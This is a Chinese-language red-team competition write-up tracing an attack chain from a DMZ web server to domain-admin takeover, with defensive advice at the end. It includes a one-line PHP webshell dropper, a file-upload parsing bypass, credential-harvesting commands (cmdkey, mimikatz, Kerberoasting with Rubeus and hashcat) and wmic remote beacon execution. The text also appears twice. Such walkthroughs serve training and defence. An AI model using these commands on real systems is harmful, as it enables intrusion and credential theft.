XX第五届对抗赛
字数 1952 2025-08-24 20:49:22

XX第五届对抗赛-先知社区渗透测试教学文档

1. 对抗赛背景与规则

目标:获取企业www.xxx.com的《上市商业计划书.docx》

访问方式:通过OPENVPN访问

得分规则

  • 必须有WEBSHELL/交互式SHELL才能获得权限分
  • 仅漏洞回显不给分
  • 更注重考察漏洞利用而非漏洞验证

2. DMZ区渗透测试

2.1 Nginx解析漏洞利用

环境配置

  • 网站目录下存在upload.html页面
  • 上传页面采用白名单校验
  • PHP环境+Windows系统
  • 文件上传后未重命名

漏洞利用方法

  1. 尝试上传1.php:.png(文件会落地但内容为0kb)
  2. 利用Nginx解析漏洞:
    • 上传包含PHP代码的文件
    • 通过添加特殊后缀如.php%00.jpg绕过

绕过技巧

  • 注意文件名中不允许包含<等符号
  • 测试各种解析漏洞变体

2.2 PHPStudy后门利用

环境特点

  • 常规RCE漏洞+Windows环境+杀软防护
  • 存在php探针页面

利用方法

  1. 直接使用file_put_contents()写入一句话木马:
    <?php file_put_contents('shell.php', '<?php eval($_POST["cmd"]);?>'); ?>
    
  2. 绕过杀软执行命令:
    • 避免使用system('echo/powershell/certutil')等常见命令
    • 研究LOLBAS项目中的替代方法

2.3 Fastjson漏洞利用

原计划环境

  • Shiro JRMP链+Windows+杀软
  • 目标:修改yso实现代码执行打Shiro JRMP实现内存马/下载执行/静态资源写webshell

实际部署

  • JNDI注入+Windows环境+杀软上线问题

利用方法

  1. 实现方式:
    • 内存马
    • Java代码实现下载执行
    • 静态资源写webshell
  2. 获取web路径方法
  3. 使用Java代码实现恶意EXE下载执行:
    • 先判断系统信息:
      System.getProperty("os.name")
      System.getProperty("os.arch")
      

建议

  • 使用定制化的恶意类实现
  • 减少攻击流量,一个包完成攻击

3. 办公网渗透测试

3.1 横向移动方法

环境特点

  • 7台主机通过DMZ区redis进入
  • SMB泄露账号密码

利用工具

  • impacket包中的横向移动脚本

3.2 Log4j漏洞利用

利用手法

  • 与Fastjson利用手法相似

3.3 域发现技术

方法

  1. 网络侧:
    • netbios扫描
    • 88&389等常用端口扫描(需知道网段)
  2. 主机侧:
    • 当工作组主机DNS服务器是域控时:
      nslookup 域名
      
    • 检查保存的凭据:
      cmdkey /list | findstr Domain
      
    • 使用mimikatz收集凭据
    • 检查RDP连接记录:
      dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
      

4. 域环境渗透测试

4.1 初始访问

环境特点

  • 8台主机
  • 靶标在corp1.com域内
  • 需要域管权限才能登录目标
  • 部分主机不出网

利用方法

  1. 通过RDP破解的dev\user02登录C06
  2. 绕过AppLocker限制:
    • 使用DLL上线
    • 白+黑技术(参考LOLBAS)

4.2 域内横向移动

技术方法

  1. 使用socks4A代理
  2. sAMAccountName spoofing直接攻击
  3. 成功后会生成域管访问dev01的ST
  4. PTT利用secretsdump.py获取krbtgt
  5. 生成黄金票据

常见横向移动方法

  • SC
  • AT/SCHTASKS
  • PSEXEC
  • WMI
  • WINRM
  • DCOM

实际操作

wmic /node:dev01 process call create "C:\xx\beacon.exe"

4.3 权限提升与凭证窃取

  1. 在DEV01-beacon运行mimikatz获取凭证
  2. 发现corp1\jeff用户后steal token
  3. 尝试Kerberoasting:
    execute-assembly C:\Users\Rubeus.exe kerberoast /outfile:C:\Users\jeff\tgs.txt
    hashcat -m 13100 -a 0 --force tgs.txt /usr/share/wordlists/FastPwds.txt
    
  4. 若失败则使用PTH模拟corp1\jeff权限

4.4 最终目标获取

  1. 发现corp1\user_S02是S02的管理员
  2. 上线S02:
    wmic /node:S02 process call create "C:\xx\beacon.exe"
    
  3. 在S02上发现corp1域管进程
  4. 窃取token获取域管权限
  5. 访问S03获取目标文件

5. 溯源反制技术

5.1 攻击者识别方法

  1. 通过攻击流量分析:
    • VPS关联的域名信息
    • 包含攻击者ID的payload
    • 蜜罐触发记录

5.2 反制技术

  1. 使用UNC获取攻击者ID
  2. 利用desktop.ini获取访问诱饵文件的NTLM请求
  3. 制作诱饵文件:
    • 创建特殊文件
    • 压缩为www.zip等待下载
  4. 攻击者错误配置:
    • 在不恰当目录开启HTTP服务
    • 如:在/root目录下误启用python -m http.server

6. 防御建议

  1. 文件上传防护:

    • 实施严格的文件重命名策略
    • 多重验证机制
  2. 中间件安全:

    • 及时更新Nginx等中间件
    • 禁用不必要的功能
  3. 代码执行防护:

    • 限制危险函数使用
    • 实施代码审计
  4. 域安全:

    • 监控异常Kerberos请求
    • 限制特权账户使用范围
  5. 日志监控:

    • 收集和分析异常登录行为
    • 监控横向移动活动
  6. 反制措施:

    • 部署诱饵系统
    • 监控异常文件访问

本教学文档详细记录了XX第五届对抗赛中的渗透测试技术和防御方法,涵盖了从Web应用到域环境的完整攻击链,可作为红蓝对抗演练的参考指南。

XX第五届对抗赛-先知社区渗透测试教学文档 1. 对抗赛背景与规则 目标 :获取企业www.xxx.com的《上市商业计划书.docx》 访问方式 :通过OPENVPN访问 得分规则 : 必须有WEBSHELL/交互式SHELL才能获得权限分 仅漏洞回显不给分 更注重考察漏洞利用而非漏洞验证 2. DMZ区渗透测试 2.1 Nginx解析漏洞利用 环境配置 : 网站目录下存在upload.html页面 上传页面采用白名单校验 PHP环境+Windows系统 文件上传后未重命名 漏洞利用方法 : 尝试上传1.php:.png(文件会落地但内容为0kb) 利用Nginx解析漏洞: 上传包含PHP代码的文件 通过添加特殊后缀如.php%00.jpg绕过 绕过技巧 : 注意文件名中不允许包含 <等符号 测试各种解析漏洞变体 2.2 PHPStudy后门利用 环境特点 : 常规RCE漏洞+Windows环境+杀软防护 存在php探针页面 利用方法 : 直接使用file_ put_ contents()写入一句话木马: 绕过杀软执行命令: 避免使用system('echo/powershell/certutil')等常见命令 研究LOLBAS项目中的替代方法 2.3 Fastjson漏洞利用 原计划环境 : Shiro JRMP链+Windows+杀软 目标:修改yso实现代码执行打Shiro JRMP实现内存马/下载执行/静态资源写webshell 实际部署 : JNDI注入+Windows环境+杀软上线问题 利用方法 : 实现方式: 内存马 Java代码实现下载执行 静态资源写webshell 获取web路径方法 使用Java代码实现恶意EXE下载执行: 先判断系统信息: 建议 : 使用定制化的恶意类实现 减少攻击流量,一个包完成攻击 3. 办公网渗透测试 3.1 横向移动方法 环境特点 : 7台主机通过DMZ区redis进入 SMB泄露账号密码 利用工具 : impacket包中的横向移动脚本 3.2 Log4j漏洞利用 利用手法 : 与Fastjson利用手法相似 3.3 域发现技术 方法 : 网络侧: netbios扫描 88&389等常用端口扫描(需知道网段) 主机侧: 当工作组主机DNS服务器是域控时: 检查保存的凭据: 使用mimikatz收集凭据 检查RDP连接记录: 4. 域环境渗透测试 4.1 初始访问 环境特点 : 8台主机 靶标在corp1.com域内 需要域管权限才能登录目标 部分主机不出网 利用方法 : 通过RDP破解的dev\user02登录C06 绕过AppLocker限制: 使用DLL上线 白+黑技术(参考LOLBAS) 4.2 域内横向移动 技术方法 : 使用socks4A代理 sAMAccountName spoofing直接攻击 成功后会生成域管访问dev01的ST PTT利用secretsdump.py获取krbtgt 生成黄金票据 常见横向移动方法 : SC AT/SCHTASKS PSEXEC WMI WINRM DCOM 实际操作 : 4.3 权限提升与凭证窃取 在DEV01-beacon运行mimikatz获取凭证 发现corp1\jeff用户后steal token 尝试Kerberoasting: 若失败则使用PTH模拟corp1\jeff权限 4.4 最终目标获取 发现corp1\user_ S02是S02的管理员 上线S02: 在S02上发现corp1域管进程 窃取token获取域管权限 访问S03获取目标文件 5. 溯源反制技术 5.1 攻击者识别方法 通过攻击流量分析: VPS关联的域名信息 包含攻击者ID的payload 蜜罐触发记录 5.2 反制技术 使用UNC获取攻击者ID 利用desktop.ini获取访问诱饵文件的NTLM请求 制作诱饵文件: 创建特殊文件 压缩为www.zip等待下载 攻击者错误配置: 在不恰当目录开启HTTP服务 如:在/root目录下误启用python -m http.server 6. 防御建议 文件上传防护: 实施严格的文件重命名策略 多重验证机制 中间件安全: 及时更新Nginx等中间件 禁用不必要的功能 代码执行防护: 限制危险函数使用 实施代码审计 域安全: 监控异常Kerberos请求 限制特权账户使用范围 日志监控: 收集和分析异常登录行为 监控横向移动活动 反制措施: 部署诱饵系统 监控异常文件访问 本教学文档详细记录了XX第五届对抗赛中的渗透测试技术和防御方法,涵盖了从Web应用到域环境的完整攻击链,可作为红蓝对抗演练的参考指南。